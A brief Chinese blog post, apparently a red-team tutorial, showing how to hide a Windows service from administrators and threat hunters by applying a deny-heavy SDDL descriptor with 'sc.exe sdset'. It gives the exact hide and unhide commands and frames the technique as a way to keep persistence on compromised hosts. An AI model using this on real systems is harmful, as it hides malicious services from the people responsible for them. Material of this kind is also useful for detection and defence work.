Windows的一个功能允许红队或攻击者将服务隐藏起来,从而为逃避基于主机的常见威胁搜寻技术的检测提供了机会

假设Fax服务为恶意服务

打开services.msc可以看到服务
IMG_20210327_201212.png

执行命令可以看到服务

IMG_20210327_200904.png

隐藏命令

管理员权限下执行以下命令
安全标识符定义语言(SDDL)

& $env:SystemRoot\System32\sc.exe sdset Fax "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

可以看到服务视图中已经查询不到了

IMG_20210327_201235.png
IMG_20210327_201253.png

IMG_20210327_201321.png

在红队或渗透测试中,这可能是一种有用的技术,可以在受感染主机上保持持久性。重启后,隐藏的服务也会自动启动。

取消隐藏命令

& $env:SystemRoot\System32\sc.exe sdset Fax "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
最后修改:2021 年 07 月 28 日
如果觉得我的文章对你有用,请随意赞赏